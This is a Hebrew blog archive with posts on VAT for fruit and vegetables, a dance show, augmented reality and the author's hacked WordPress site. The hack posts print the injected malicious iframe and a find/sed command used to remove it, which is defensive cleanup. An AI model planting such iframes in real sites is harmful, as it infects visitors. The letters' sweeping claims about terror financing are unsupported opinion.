צריכה נורמטיבית חודשית , ממוצעת בטון:
בטטות – 1600
בצל – 9000
גזר – 7000
חצילים – 4000
כרוב – 5000
כרובית – 2500
מלפפונים – 9000
עגבניות – 14,000
פלפל – 6000
קישואים – 2500
תפו"א – 23,000
זה 80% מסל הצריכה בארץ.
הבאתי לך את הנתון הזה בגלל כמה סיבות.
1. בגלל הויכוח על הלימון – כמוצר בסיס .
2. בשביל להוכיח לך למה מע"מ לא יכול להעלות את המחיר.
בצל – צריכה חודשית נורמטיבית של 9000 טון , בחודש יוני צפויים לצאת לשוק כ28,000 טון בצל.
כלומר יותר מפי 3 מהצריכה החודשית שלנו.
צפי למחיר נמוך מאד , והשמדה של אלפי טונות בצל .
האם תוספת מע"מ של 15% תשנה את המצב ??
בשום פנים ואופן לא !!!
לזה התכוונתי שלעיתים קרובות , צריכים להעלות מחיר מוצר ב180% בשביל לשנות את המחיר לצרכן. במקרה של הבצל – גם זה לא יעזור.
רק השמדה של המוצר – תשנה את המחיר.
האם ידוע לך כמה מים בוזבזו בהשקיית הבצל שיושמד ????
פה אני פוסל מכל וכל את הטענה , שצריך לעודד את גדולי החקלאות בשביל לשמור על ריאות ירוקות.
אני מעדיף שתילת עצים מיוחדים – שלא צורכים מים – ושנעימים למראה ולנוף ……
בצל הוא בהחלט לא התשובה לכך……………
הוא קובץ מקורי , מאתר משרד הממשלה, על סובסידיות בכללי , מתוך הקובץ הוצאתי את מה שרלוונטי:
סיבסוד במחיר המים לחקלאים : 178 מליון ₪.
הכסף הוא לא העניין , מה שמרגיז אותי זה שזה מעודד בזבוז מים בחקלאות.
איך בדיוק המחיר המצחיק שחקלאי מקבל עבור חשבון המים – יביא לחסכון במים ??
הרי זה אבסורד !!!
המינימום שביקשתי זה שיתנו להם במחיר העלות !!!
דרך אגב , גם מחיר העלות הוא זול מאד. בעצם משק בית משלם מחיר לקוב מים כמעט פי 10 מחקלאי – וטוב שכך .
מה לעשות שאין לנו מים – שהוא שמשאב הכי חשוב – ממש בשביל הצורך לחיות !!!
כשאני אומר לך שיש בזבוז אדיר בחקלאות אני מתבסס על ידע ונתונים , ויודע שחקלאים לא מחשבנים לבזבוז במים בגלל המחיר המצחיק.
הם מגדלים בשטחים פתוחים – תחת השמש – שזה מגדיל את בזבוז המים ב600% מאשר בגידולי חממה מבוקרים.
עוד נתון מהקובץ : משק החקלאות צורך מיליראד קוב בשנה !!!! מתוך 2 מליארד מיים בצריכה ישירה !!!
בשנת 2010 – יש חשש שיהיה מחסור של חצי מליארד קוב מים.
עוד מהקובץ :
הממשלמה מממנת לחקלאים 35% מהפרמיה עבור השמדות תוצרת חקלאית.
בסה"כ שילמה המדינה ב2008 כ400 מליון ₪ פרמיות עבור השמדות תוצרת חקלאית.
האם אתה חושב שהוספת מע"מ על הירקות – היתה גורמת לכל מאות אלפי הטונות – עודפים בפרות וירקות – לצאת חזרה לשוק ??
כל עוד ההיצע כ"כ הרבה יותר גבוה מהביקוש – המחיר לא יעלה !!!
קובץ על ביטוח חקלאי
קובץ מס' 3.
מצגת של משרד החקלאות על נתוני צריכת עגבניה.
הקדמה:
מחירי העגבניה בארץ הוא מהנמוכים בעולם !!!
למרות זאת צריכת העגבניה לנפש בארץ היא מהנמוכות בעולם !!!
תקרא את קובץ מספר 3 וקובץ מספר 4.
מה שאני רוצה להגיד , שבריאות זה עניין של שיווק , ולא עניין של מחיר לצרכן.
2 ₪ לק"ג עגבניה זה מחיר מצחיק.
ואתה תבין זאת מהקבצים.
חוץ מזה , הידעת שכפית רסק עגבניות שווה מבחינת הוויטמינים לגוף – כמו 20 ק"ג עגבניות ???
מציק לי עניין הלימון אז צרפתי לך קישור
[www.plants.org.il]
אין לי עניין או אינטרס בלימון , אך אני יודע כי הולכים להשמיד כ – 500 טון לימון בימים הקרובים.
גם במקרה הזה כמו ברב האחרים – גם מע"מ של 40% לא יציל את הלימון ולא יעלה את מחירו לצרכן.
טל, לגבי ההערה שהעלית שהמע"מ עלול היה להעלות את המחיר ביותר מ- 15.5:
תוספת מע"מ של 15.5% , בלי שום קשר לירקות , לא מעלה את המחיר ב30%. המע"מ בקניה מוחזר , לכן זה משפיע – רק ב15.5% .
נניח שהמע"מ היה 15%
דוגמא:
מחיר קניה לפני מע"מ 100 + 15% מעמ = 115
מכיר מכירה (נניח 50% רווח גולמי) – 200 לא כולל מע"מ + 15% מע"מ = 230.
תשלום למעמ:
מעמ על עסקה = 30 ש"ח
בניכוי מעמ תשומות = 15 ש"ח
בנטו שילמנו 15 ש"ח למעמ – הרווח נשמר (100 ש"ח)
תוספת למחיר 15%.
נקווה שבזה לא יהיו ויכוחים . כי זה באמת א , ב , בחשבונאות.. ואין פה עניין של דיעה – זו פשוט עובדה
כשהתכתבנו בפעם הראשונה , שלפתי לך מלא נתונים ומספרים על סמך זכרוני בעיקר ומבלי לקבל נתונים מדוייקים ממשרד החקלאות.
ככל שאני מקבל יותר נתונים , דעתי רק מתחזקת ואני אפילו מופתע לפעמים מרמת הדיוק של הנתונים שנתתי לך בעבר , בהשוואה לנתונים סטטיסטיים שאני מקבל מגורמים רשמיים .
תדע , שמס הכנסה אינו יודע לקרוא דוחות ולהיכנס לעומק דוחות של חברות לפרות וירקות. זוהי נישה , שרק מעטים יודעים באמת לטפל בה , ואני בינהם.
זה מתחיל מכך שאין תוכנה לניהול חשבונות בשוק היום שיודעת לטפל בחברות כאלה , הכל מורכב מטלאים של תיכנותים שונים.
כל חוקי החשבונאות שונים , חקלאי שמוכר תוצרת לחברה , אינו מוציא אסמכתא !!!
מי שמוציא את האסמכתא ורושם בה את הנתונים – זה הלקוח (דהיינו החברה שקולטת תוצרת מהחקלאי)
בכל מקרה אחר – זה עבירה על החוק.
בכל מקרה אחר – אסור אפילו להוביל סחורה בלי תעודת משלוח.
כל אלה הופכים את הענף למעצמה בתחום הלבנת ההון.
לא מפליא על כן שישנן בעלי חברות עם מינוס בבנק ועם הון שחור של יותר מליוני שקלים.
כל המתעסקים בעניין צריכים להבין דבר אחד חשוב מאד.
2 המליארד ש"ח שהממשלה רוצה לגבות בעקבות ביטול הפטור ממע"מ – הם בגלל גרעון בהון המדינה.
תקציב המדינה הוא שלילי – אם מדינת ישראל היתה "עסק" זה היה נקרא פשיטת רגל.
אתה לא חושב שהמדינה צריכה להיות מאוזנת ???
זה שכולנו חושבים שלא צריך להיות מע"מ בכלל – ושזה מס לא הוגן – זה חלום או אשלייה שגם אני רוצה שתתגשם.
זה מזכיר לי את האשליות של אשתי (שלא עובדת לדאבוני) שרוצה בית יותר גדול ובריכה לילדים ורכב חדש , ושסך חיובי הישראכרט שלה בסך 20,000 בחודש – זה סביר – ואי אפשר לעשות את זה בפחות.
מה לעשות שההכנסות שלי קובעות מציאות אחרת ???
כשמישהו ישמע את דעת שנינו משוחחים בעניין – גם שם יהיו דיעות לפה ולשם .
אך כמו המוטיב העיקרי במכתבי הארוכים – במספרים קשה לנצח אותי , זה התחום שלי ואני מתמחה בו.
שוק הפרות והירקות הוא שוק מרתק – אבל מבלבל הרבה כלכלנים.
לפני כ20 שנים , היה מונופול בתחום , ושלטה בתחום "תנובה " .
אפילו שהיא היתה מונופול , היא לא הצליחה להכתיב מחירים לשוק , כמו שעושה קוקה קולה ושטראוב במוצרים אחרים.
גם הממונה על ההגבלים העסקיים לא התערב במחירים ובאכיפת תנובה – בתקופות שהיא הפקיעה מחירים וניסתה לכופף את השוק כולו.
אף שתנובה בשלב מסויים – היתה רב השוק בפרות וירקות – העלאת המחירים בשוק של מוצר בורסאי – הביאה לתוצאה מיידית.
תנובה חתמה עם המון חקלאים בארץ על עסקאות של מחיר שנתי קבוע במוצרים עיקריים (מלפפון עגבניה בעיקר) , ועשתה הסכמים מול לקוחותיה בינהם הרשתות, על מחיר קבוע.
וזה גם מדוע השיטה קרסה.
אי אפשר להשפיע ולקבוע את מחירי הפרות והירקות במדף – ואי אפשר ליצוא מונופול .
זה שתנובה היוותה בזמנו את המקור העיקרי לפרות וירקות – לא הופך אותה למונופול , כי אי אפשר לייצר בארץ מונופול בתחום הזה.
אמנם תנובה הצליחה ליצור מחירון מסויים לרשתות , אך הציבור לא היה מוכן לשלם את המחיר במדף והתאוריה קרסה .
פרות וירקות אינם מותג ובנוסף לזה הם מוצר בורסאי.
אין אף ספק שיש לו אינטרס לשמור על המחיר במדף .
למעשה זה המוצר הקלאסי – ללוסט לידר .
שופרסל מואשמת היום בכתב אישום חמור , שיכול להכניס את מנכ"ל הרשת לכלא , על עבירות מונופוליסטיות בתחום הרשתות .
שופרסל הורידה מהמדפים מוצרים שראתה ברשת מתחרה במבצעים – וקנסה ספקים.
לכן כולם מפחדים להוריד מחירי מותגים.
החברה למשקאות קלים (קוקה קולה) לא מספקת קוקה קולה למי שמוריד את המחיר במדף מתחת למחיר שהיא מכתיבה.
עין גדי רושמת את המחיר על המארז בקבוקים – ומי שמוריד מחיר נכנס לבעיה.
לפרות וירקות – אין אבא ואמא !!!
זה המוצר הקלאסי היחידי ללוסט לידר !!!
גם בעל מכולת קטנה יכול למכור עגבניה בשקל – ואף אחד לא יפריע לו.
בחג האחרון רשת רמי לוי – מכרה חבילת מצות ב1 ש"ח , לאחר שבוע ולאחר לחץ הרשתות הגדולות , הפסק לספק מצות לרשת רמי לוי.
בייחוד בתקופות מיתון , הרשתות מחפשות מוצרי לוסט לידר – ופרות וירקות יוצרים את האפקט המתאים .
לרמי לוי יש מרכז לוגיסטי ענק ומוביל בבעלותו לשיווק פרות וירקות עצמאי לרשת (בכורי השקמה) , אני מאמין שהוא מתפלל שיבטלו את המע"מ על פרות וירקות ושביום שזה יקרה הוא יוצא בהכרזה שהוא ימכור מלפפונים ועגבניה ב99 אגורות – ויממן את המע"מ מכיסו.
תאמין לי שזה יגרור את כל השוק אחריו.
שלחתי מכתב למשרד החקלאות בנושא , ושאלתי למה הם נגד הוספת המע"מ.
לקח להם 14 יום להחזיר תשובה רשמית ואני יכול להגיד לך שהתשובה עלובה ממש , ונשענת בעיקר על 2 קריטריונים:
1. נושא הפגיעה בבריאות (כביכול יעלה המחיר והציבור יאכל פחות פרות וירקות)
2. נושא הריאות הירוקות .(גידול פרות וירקות לטענתם זה נוף ירוק – ועוזר לאיכות הסביבה)
ואת שניהם אני פוסל בקלות – בהתבסס על נתונים שהם כמעט מדעיים !!!
1. כבר כתבתי על נושא הבריאות , בנושא צריכת פרות וירקות נחלק את האוכלוסיה ל2 חלקים:
א.אוכלוסיה חלשה וענייה
ב.אוכלסיה ממעמד הביניים ומעלה.
אני טוען שהוספת מע"מ לא תעלה את המחיר , אבל נניח שהיא כן תעלה את המחיר:
הממשלה נתנה מענק כספי לאוכלוסיות החלשות שהיא בגובה הפגיעה בהם במידה והמע"מ יעלה את המחיר.
שאר האוכלוסיה :
בכל העולם , ללא יוצא מהכלל , גודל צריכת הפרות והירקות אינו תלוי במחיר לק"ג – ועל כך קיבלת הוכחות ונתונים לגבי צריכה מול מחיר.
בריאות והגברת צריכת פרות וירקות הוא מרכיב של "שיווק" בלבד – ולא מחיר .
שהרי איך תסביר את זה , שהמחיר לק"ג פרות וירקות בארץ הוא מהנמוכים בעולם , איכות הפרות והירקות בארץ הוא מהגבוהים בעולם , ולמעשה הטכנולוגיה הקיימת בארץ לגידול פרות וירקות – היא יותר טובה גם מארה"ב.
ולמרות כל זאת אנחנו צורכים פחות פרות וירקות ממדינות מפותחות.
בנושא הבריאות אנחנו מפגרים הרבה אחרי מדינות מפותחות ולא רק בנושא צריכת הפרות וירקות.
בארה"ב לדוגמא – יש חוק האוסר להציב מכונות שתייה בבתי הספר (של קוקה קולה וכו') ובבתי הספר בכל ארה"ב , נכון להיום מותר לקנות רק מים , ותתפלא , בקפיטריות בארה"ב יש פרות וירקות למכירה !!! ואין ברב בתי הספר ממתקים למכירה.
זו רק דוגמא מאד קטנה לאיך מעלים צריכת פרות וירקות……….
טענת המחיר – היא טענה מגוחכת ועלובה.
2. בנושא הריאות הירוקות : זה רק תירוץ – כבר כתבתי לך שגידול עגבניה ובצל בשטחים פתוחים – וריסוסם ברעל – לדעתי בכלל פוגעת ולא מועילה.
יש היום ענף שמתפתח מאד – והוא גידול עצי נוי , ועצים לייצור נייר (יש מחסור בעולם ) שאינן זקוקים כמעט להשקייה.
גם יפה , גם יעיל , גם מוסיף לאיכות הסביבה – וזה ימנע את מגמת הריסת היערות בארץ לצורך ייצור נייר.
על 2 נושאים אלה נשען משרד החקלאות , יש פלא שהממשלה רוצה להוסיף מע"מ על ירקות ???
אני מפנה אותך לכתבה מתחום המזון – שמוכיחה כמה מטענותי .
מה שחשוב בכתבה , זה הנתון שמראה את העליה המטאורית של עלות מחירי הפרות והירקות .
למרות העליה החריגה בעלויות ובתשומות החקלאות , המחירים במדף יורדים ….
מעניין איך יסבירו את התופעה כלכלנים בכירים ???
[www.mazon.co.il]
טל: שלחתי לא' את הדיון שנערך בוועדת הכספים שהיה בנושא המעמ על הירקות והפירות:
[www.knesset.gov.il]
והנה תגובתו:
עצוב מאד שכך מתנהל דיון בנושא כ"כ חשוב
מע"מ על ירקות צפוי לתרום למדינה כ 2מליארד ש"ח בשנה .
מן הראוי שיביאו כמה מומחים בינלאומיים שיתנו מצגת בנושא.
עד כאן דבריו של א'.
ולמי שרוצה עוד התייחסות (למרות שהיא לדעתי פחות מקיפה במובנים מסויימים ממה שהבאתי כאן), מוזמן להכנס ולקרוא את ניתוח ההשלכות של הטלת המעמ על ירקות ופירות של מרכז המחקר והמידע במחלקה לפיקוח תקציבי, הקישור: [www.knesset.gov.il]
אני חושב שאעצור פה.
18:12 קשה לקרוא לזה פוסט, אולי פוסטון. אך שני הסרטים הללו העלו חיוך על שפתי, ונראה לי ראוי להביאם כאן.
הראשון לקח 3 חודשים לעשייה, 4 ימים לצלם ו- 6000 פתקים דביקים. סרט מחווה לכל מי שאי פעם נדרש לדד-ליין והשאיר לעצמו פתקים-דביקים בשביל תזכורת
השני (לחלוטין לא קשור לראשון) הוא סרטון אהבה בסגנון אנימה. הזוי ומקסים כאחד, באופן שמזכיר לנו עד כמה אפשר להתפרע כשמשלבים דמיון ואנימציה
(תודות לווינט למדור הקישורים המועדפים שהציפו בפני את שני הסרטונים הללו)
22:51 לפוסט הזה יש מטרה אחת ויחידה – לחלוק איתכם שאם אי פעם תרצו ללכת אתם (או לקחת מישהו) למופע ריקוד – תקחו אותם ל"אויסטר".
רקע – אני ועולם הריקוד בארץ: מאז שהכרתי את אישתי (לעתיד) דבורה, נתוודעתי לעולם המחול והריקוד (בארץ ובכלל). שמות שלפני כן לא עניינו אותי כמו אוהד נהרין ולהקת בת שבע, הקיבוצית, מחול במדבר ואדמה, נועה דר, ורטיגו, יסמין גודר, נעה דר ועוד ועוד – פתאום נהפכו שגורים בבית ומוכרים לי.
לאהוב ריקוד: ועם זאת, יש מרחק בין להכיר ללאהוב. הרבה מההופעות שזכיתי לראות (בעקבות ההזמנות של דבורה) הצדיקו את המשפט "כל הופעות המחול ארוכות מידי". זו הייתה התחושה שלי ב- 90% מההופעות שראיתי, הן לרוב הרשימו אותי ביכולת של הרקנים ולפעמים גם היו תנועות שמצאתי מעניינות. אבל מכאן ללשבת שעה ולצפות באנשים זזים (לרוב למוזיקה לא מספיק מעניינת) יש מרחק – לרוב מצאתי את עצמי פשוט משתעמם.
היוצא מן הכלל: ועל רקע כל זה אוייסטר זורח כמו שוב דבר שהיה לפניו (למעט "אחד מי יודע" מדקא-דנס של אוהד נהרין). אחרי שעה של צפייה במופע "אוייסטר" של עינבל פינטו ואבשלום פולק, נשענתי לכיוונה של זוגתי ושאלתי אותי בקול עצוב "זהו? כבר נגמר?"
אני לא אתאמץ לתאר לכם את ההופעה. במקום זאת אסכם ואומר שהעולם שהמופע מצייר (בתנועה, מוזיקה, תחפושות ואפקטים) הוא קסום ושובה לב. הדימוי היחיד שיש לי אליו הוא התחושה שהייתה לי כשראיתי את ה"מסע המופלא" של מיאזאקי (סרט אנימה מקסים ביופיו)
רוצים עוד מהתחושה? אני מזמינכם להביט באסופת התמונות הבאה (לרקע מוזיקה מהמופע)
ואם החלטתם שאתם מוכרחים עוד, אז אני מפנה אתכם לשני מאמרים של אהובתי דבורה. הראשון התפרסם בג'רוזלם פוסט והשני הוא ראיון (פודקסט) עם היוצרים, תהנו:
8:25 הרעיון של מציאות מולבשת (augmented reality) נמצא באיזור כבר הרבה זמן. ממש לפני 3 חודשים הבאתי 4 סרטונים המציגים טכנולוגיות שעשויות לאפשר את החיבור הזה בפוסט עתידנו הקרוב – החיבור בין העולם הגשמי למידע מהאינטרנט (מהרצאת טד ועד החזון של מייקרוסופט).
והנה הבוקר נתקלתי בטוויט של שרון המציג את סרטון שמציע גישה נוספת למציאות מולבשת – על ידי שימוש במכשיר הסלולרי. הנה הוא לפניכם:
החיבור שבין סלולארי למציאות מולבשת איננו חדש וכבר הופיע בכמה התייחסויות. אבל זו הפעם הראשונה שנתקלתי בסרטון פירסומי המציג מוצר (פחות או יותר) מוגמר, שמציג את החיבור. בסרטון אפשר לראות אדם משתמש במצלמת הסלולרי שלו על פני איזור שמולו. המצלמה לוכדת את תמונת האיזור ומלבישה עליו שכבות מידע מסוגים שונים (איפה יש בתים, מה המרחק מהם, מה אפשר לקנות בחלקם וכן הלאה). וזה הרי חלק חשוב במהפכה הגיאו-מרחבית עליה כתבתי לפני חודש.
מכאן עד למוצר שמתפשט לכלל האוכלוסיה יש עוד דרך: יש פה אתגרים טכנולוגיים ואתגרים חברתיים.
בצד הטכנולוגי, יש את השאלה כיצד לעמוד בעומס החישובי של יצירת המאשאפ (העירבוב) הזה של הווירטואלי עם המציאותי. אפשר לדמיין שלפני שנצטרך שהסלולארים שלנו יחזיקו מחשבים מאד חזקים, יפתרו את הבעיה הזו באמצעות טכנולוגיות ענן. מסיבה זו טכנולוגיות כמו זו של און-לייב (שבכלל מיועדת למשחקי מחשב על הענן) הן כל כך מעניינות. כך שהבעיה הזו מתחלקת לפתרון החומרה (האפשרות להעביר יותר מידע דרך השרת הסלולרית) ופתרון התוכנה (כיצד ליצור מיחשוב ענן יעיל להלבשת העולם הווירטואלי על העולם האמיתי).
בצד החברתי, כנראה מצוי עיקר הקאטצ'. פה מועלית השאלה כיצד יוצרים ממשק שימוש שאנשים יוכלו להתמודד איתו בקלות ואינטואטיביות. ויותר מזה, כיצד יוצרים רשתות-חברתיות שיאפשרו איסוף של מידע גיאוגרפי במקביל לשאר סוגי המידע שהן אוספות.
תחושת הבטן שלי אומרת שלא נראה תפוצה רחבה של המוצר הזה השנה. אבל מצד שני שההפצה של הטכנולוגיה הזו תהיה מהירה יותר מכפי שאנו מצפים – ואז יום אחד נתעורר ונראה ששילבנו את הווירטואלי למציאותי ונהיה מאד מופתעים (כמו שהיום אנשים פתאום גילו שיש איזה דבר בשם טוויטר שהשפיע על איראן, איזה פלא…)
22:56 [weblogtoolscollection.com] (זהירות: פוטס טכני לחובבי הוורדפרס מבינינו)
אז לאחר שגיליתי שהבלוג שלי נדבק בווירוס, יצאתי לחפש אחר פתרון ובפוסט זה אני מביע תודה לכל אלו שעזרו ומקווה לסייע לאחרים בעתיד שיתקלו בבעיות דומות.
הבעיה הייתה שאיכשהו (כנראה פריצה לאחד היוזרים של ה- FTP של השרת שלי) איזשהו בוט נכנס לשרת והכניס לקבצים שבשרת שורת קוד שטוענת אתר (iframe) בתוך כל אחד מהאתרים שלי, האתר הזה מתקין איזשהו סוס טרויאני (לא ברור איזה), וזיהם את רוב (אם לא כל) הקבצים שעל השרת.
הקוד הזדוני נראה כך (הדרך שבה הדבקתי אותו אמורה לסרס את פעולת הקוד, אבל לא הייתי ממליץ להכנס ללינק ללא אנטיווירוס מותקן):
<iframe src=" [m-analytics.net] width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
כיצד מצאתי את הפתרון:היות והיו לי הרבה קבצים נגועים בדיוק באותו הקוד (בדקתי מדגם מהקבצים וכך נתגלה, קוד זיהום זהה), החלטתי שאני רוצה לחפש בכל הקבצים ולהחליף בהם את הקוד המרושע ב"כלום". והנה הצעדים:
ראשית, לגשת לשרת באמצעות קליינט SSH (למעשה 2: winSCP וגם PuTTY. שימו לב שבשביל להצליח להדביק טקסט בתוך ה- PuTTY, צריך קודם ללכת שם ל – windows->selection ושם לבחור באופציה הראשונה של windows)
שנית, להגיע לתקיה שממנה (ומטה) רוצים לבצע את השינויים, ואז להריץ את הפקודה:
find . -name '*.*' -exec sed -i 's/<iframe src=" [http:\] width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//g' {} \;
מה שהפקודה אומרת זה תמצא את כל הקבצים (find), לא משנה באיזה שם או סיומת (*.*) וכשתמצא אותם (שזה כולם) תריץ את הפקודה של חיפוש והחלפה (exec sed etc…). כאשר שימו לב שהטקסט שרציתי להחליף שונה במעט כדי שהוא יתאים לקוד "רג'אקסי" (הנה הסבר על הנושא, למעוניינים)
אגב, צפו לקבל הרבה: *** is not a regular file – הוא יפלוט את זה כשהוא יתקל בתיקיות. זה בסדר גמור.
ומה הלאה ?הפירצה הזו הייתה חוויה לימודית טובה (שהגיעה בתקופה לא מתאימה, אבל ניחא), בעיקר כי הבעיה הייתה (יחסית) פשוטה (אלגוריתמית) לתיקון. ואיפשרה לי לשחק בהרבה כלים. עם זאת, לעתיד, רצוי היה שאשמור על אבטחה יותר אדוקה על האתרים. והנה רשימת מקורות שיעזרו גם לכם לעשות כן:
אם הפוסט עזר לכם – אתם מוזמנים לפרגן בלינק תודה.
23:22 קוראים יקרים שלום.
נודע לי היום שהאתר שלי (ועוד אתרים אחרים באחסון שלי), נחשפו לפריצה אשר החדירה קוד זדוני שמתקין ווירוס אצל גולשים המבקרים באתר.
לאלו מכם שיש אנטיווירוס מותקן ומעודכן על המחשב, תגלו שהוא חוסם את הווירוס בכניסתכם לאתר.
לאלו מכם שאין אנטיווירוס (נו נו נו לכם!), אל תלכו, תרוצו, להתקין אנטי ווירוס (כבר למעלה משנתיים אני משתמש מרוצה של AVAST, הדרך הקלה להוריד אותו היא מהלינק כאן)
לאנשי הוורדפרס מבינינו, הנה איך שגיליתי (ואיך שאני מתכנן) לפתור את הבעיה:
1) הגילוי – חברים עדכנו אותי (במייל ודרך טוויטר) שהאנטיווירוס שלהם מתלונן בכניסתו לאתר.
2) החקירה – לאחרונה פורסם פוסט בנושא פלאגיני אבטחה לוורדפרס (הנה הלינק) בבלוג לו אני מנוי. לאחר סקירה זריזה שלו החלטתי להתקין את הפלאגין WordPress Exploit Scanner והרצתי אותו לסרוק ולמצוא חריגות. הוא הצליח לאתר קוד זדוני שמושתל בקבצים ראשיים באתר שלי (קמצי ה- index וכן הלאה).
3) הפניה לעזרה – פניתי לשירות האחסון שלי (site5) בבקשה מהם לשחזר גיבוי קודם לקבצים ומחיקת כל משתמשי ה- FTP שלי. הם צפויים לעשות זאת בשעות הקרובות ואז אראה אם זה הספיק (אם לא, אני אצטרך לעבור ולמחוק את כל הלינקים שהושתלו בקבצי האתר. ואז אני אצטרך לחפש דרך לבצע search and replace המוני על האתר מבלי להוריד אלי את כל הקבצים מהשרת ואז להעלות אותם – הידד…)
4) הפתרון – עוד לא בוצע. כשיהיה, יהיה…. (ואני אעדכן אותו כאן)
ולסיום, שירות התמיכה של site5 שלחו לי שורה של "המלצות חמות" על מה כדאי שאבצע כדי להבטיח שלא יפרצו לאתר שלי, אני מצרף אותם כאן להנאתכם
Most account compromises are initiated by using a remote command inclusion vulnerability within an existing web application. This issue was likely the result of poor or lack of security on the part of one or more user accounts, including shared or weak passwords, insecure permissions on important configuration files ( allowing full read access globally ), and other factors. Please be sure that the following steps are taken to assist in preventing further intrusions:
- Perform a complete audit of your account and applications. Ensure that all content available was made available only by yourself and that any information, including applications login credentials that don't match up are removed.
- Any PHP scripts should be chmod 600 at the very least. Any PHP scripts that contain important information, such as MySQL database connection information should be chmod 400. By Default these files are likely permissioned to 644 which will allow global read access to the file by any user on the system.
- Any applications that are connecting to MySQL database should be doing so with their own individual MySQL database login credentials. Never should a set of credentials be recycled or used elsewhere. You should also avoid using your system username and password as an authorization point for these applications.
- Passwords should be 16+ characters in length and contain a mixed case of letters and numbers and should be modified on a regular basis ( twice monthly at the very least ). A password should never be used for more than one service or provider, ever!
- Any 3rd party or custom PHP, Perl and other web applications should be kept up to date at all times. Subscribe to the software vendors security or update notifications mailing list. If an application is no longer required or in use, remove it completely. Disabling the application is not always a sure fire means of disallowing intrusion attempts.
If you have trouble keeping track of your passwords, you may want to look into using a solution such as the following, which I personally find to be quite useful in both generating passwords and securely saving these details: [keepass.sourceforge.net]
23:06 בשבועות האחרונים התעניינתי בשאלת הכנסת המע"מ לירקות והפירות. כפי שכתבתי בפוסט הראשון בנושא: קשה לי לדבר ולדון בנושאים תקציביים היות וחסר לי ידע ניסיון בנושאים כלכליים (ופוליטיים). ועדיין חששתי מהמע"מ מההיגיון הבא:
הטלת מע"מ על ירקות ופירות -> עלייה במחירי הירקות והפירות -> ירידה בצריכת הירקות והפירות -> פגיעה בשכבות החלשות של האוכלוסיה / פגיעה (לאורך שנים) בבריאות הציבור
הטיעון נשמע פשוט והגיוני לכל בר דעת.עיקר הדיונים סביב הנושא (ממבקרי הבלוג) היו סביב השאלה האם (עקרונית) יש לתת מס שווה או לא. האם מע"מ הוא מס רגרסיבי או נייטרלי, האם שינוי במחירי הירקות והפירות ישפיע בכלל על הצריכה שלהם. והיו גם רמיזות על האפשרות שהטלת המע"מ לא ישפיע "יותר מידי" על מחירי הירקות והפירות.
הרבה אנשים דיברו, אך רק שניים טענו לידע נרחב ואמיתי בתחום והם: חבר הכנסת שי חרמש מהלובי החקלאי וד"ר רונית אנדוולט, המומחית לנושאי תזונה ובריאות הציבור.
בפוסט הנוכחי אני זוכה להציג בפניכם מפרי ידו של כלכלן אשר (כפי שתתרשמו בעצמכם), הוא בעל ידע מרשים מאד בתחום כלכלת הירקות והפירות בארץ. האיש (ששמו לא ייחשף פה ויכונה א') שלח אלי במייל את עמדתו ונימוקיו והצליח בדבריו לערער את עמדתי המקורית. להסית את דעתי ולקבל את קריאתו שכן להטיל מע"מ על ירקות ופירות.
את מכתבו של א' הפניתי לש' (שם נוסף ששמור לבינתיים במערכת) לשאול אותו לדעתו. בין השניים התפתח דיון ער (וארוך) שאותו אציג בהמשך למכתבו של א'. התוצאה הסופית (אצלי) הייתה לקבל את עמדתו של א' (ולהפסיק את התנגדותי להטלת המע"מ על ירקות ופירות).
אני מזמין את כולכם לקרוא ומזמין אתכם לקבל, לדחות ולהגיב לטיעונים כאוות נפשכם – איני מבטיח להסכים, אך אני מבטיח לקרוא.
והנה דבריו של א' (לאחריהם הדיון עם ש'):
ראשי פרקים , סיבות לביטול הפטור ממע"מ על פרות וירקות.
1.סיבה בסיסית – לא להתערב בכוחות השוק – כמו בכל מוצר במשק – אני נגד התערבות הממשל בעיקרון הבסיס בכלכלה של היצע וביקוש .
2. הגיע הזמן לטפל בעבריינות הגדולה שקיימת בענף , הפטור ממע"מ עושה חיים קלים למשווקים ומוכרים של פרות וירקות. רב החברות הגדולות העוסקות בפרות וירקות מעלימות מס בהיקפים של מאות מליוני ₪ בשנה , בשיטה מאד פשוטה:
החברות מקבלות חשבוניות פקטיביות , בעיקר מסוחרים ערבים מהשטחים , ע"י כך הם מקטינים את הרווח הגולמי ומעלים את סעיף הקניות בצורה פקטיבית.
ההון השחור בענף הירקות הוא עצום , הלבנת ההון בהרבה מאד מקרים מממנת פעולות טרור כנגד מדינת ישראל .
העמלות הגבוהות שמשלמים סוחרים ישראלים עבור החשבוניות הפקטיביות מהשטחים מסתכמות בעשרות מליוני ₪ בשנה.
90% מהבעלים של החברות הגדולות העוסקות בהפצת פרות וירקות – ממוקמים באלפיון העליון מבחינת העושר הכספי שלהם .3.פרות וירקות הינם מוצר בורסאי , דהיינו יש בורסה (מועצת הפרות והירקות) והמחיר נקבע בכל בוקר ע"י סוקר שמגיע לשוק הסיטונאי בצריפין , וע"פ המחיר שמשלמות הרשתות (דהיינו שופרסל וקואופ) נקבעים מחירי הפרות והירקות בארץ. ניתן לראות את המחירון באתר מועצת הפרות והירקות.
בגדול , מחירי הפרות והירקות מושפעים בעיקר משינויי האקלים , פרות וירקות שצומחים מהר בחום , מחירם יצנח בחודשי הקיץ החמים – וברוב המקרים יושמדו עשרות אלפי טונות ע"י משרד החקלאות ויזרקו לאשפה.
לכן , השפעת המע"מ בפועל תהיה שולית , אם בכלל…..
להמחשה , לקחתי היום (14/6/09) את מחירון מועצת הירקות , שמשקף את המחיר ברוטו , שמלמות הרשתות לחלקאים , וערכתי השוואה למחירי המדף בסופרים גדולים.להלן התוצאות: (המחירים הם לתוצרת מובחרת)
המחירים בש"ח ל1 ק"גשם המוצר מחירון מועצת הירקות טיב טעם ראשל"צ רמי לוי בר"ג
עגבניה 2.50 ₪ 5.99 ₪ 0.99 ₪
תפו"א לבן 2.00 ₪ 5.99 ₪ 1.99 ₪
גזר 2.00 6.99 ₪ 2.99 ₪
בצל יבש 1.00 2.99 ₪ 0.99 ₪
מלפפונים 1.60 3.99 ₪ 0.99 ₪5 המוצרים שצייני , מהווים כ40% מהסל הכללי במשקל – משוק הפרות והירקות כולו.
מוצרי בסיס אלה , נמכרים בכל הרשתות הזולות , כמוצרי לוסט לידר , כבר יותר מ10 שנים , מבלי שום קשר לעלות שלהם.
מצד שני ברשתות היקרות – הריווחיות גדולה מאד – וללא פרופרציה – עד כדי חשד להפקעת מחיר. (ראה טיב טעם).
